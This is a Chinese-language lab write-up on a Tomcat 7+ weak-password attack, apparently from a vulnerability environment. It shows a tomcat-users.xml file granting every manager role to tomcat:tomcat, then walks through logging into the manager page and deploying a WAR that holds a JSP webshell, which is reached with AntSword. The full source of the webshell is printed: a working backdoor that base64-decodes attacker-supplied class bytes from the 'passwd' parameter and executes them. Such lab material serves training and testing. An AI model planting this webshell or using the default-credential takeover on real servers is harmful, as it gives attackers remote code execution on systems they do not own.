Tomcat7+ 弱口令 && 后台getshell漏洞
Tomcat7+ 弱口令 && 后台getshell漏洞
环境说明
Tomcat支持后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
- manger(后台管理)
- manger-gui拥有html页面权限
- manger-status拥有查看status的权限
- mager-jmx拥有jmx权限,和status权限
- host-manger(虚拟主机管理)
- admin-gui拥有html页面权限
- admin-script拥有text接口权限
在conf/tomcat-users.xml文件中配置用户的权限:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可见,用户tomcat拥有上述所有权限,密码是tomcat。
正常安装的情况下,tomcat8中默认没有任何用户,而且manger页面只允许本地IP访问。只有管理员手工修改这些属性的情况下,才可以进行攻击。
打开tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:
在后台管理页面下面,有一个Deploy页面。
在这里上传一个war包,首先选择一个JSP木马,将其命名为muma.jsp,然后将该文件添加到压缩文件,注意是zip类型的压缩文件,然后我们把压缩文件重命名为muma.war,使用蚁剑连接http://10.10.10.154/muma/muma.jsp
<!-- jsp一句话木马,连接密码是passwd -->
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>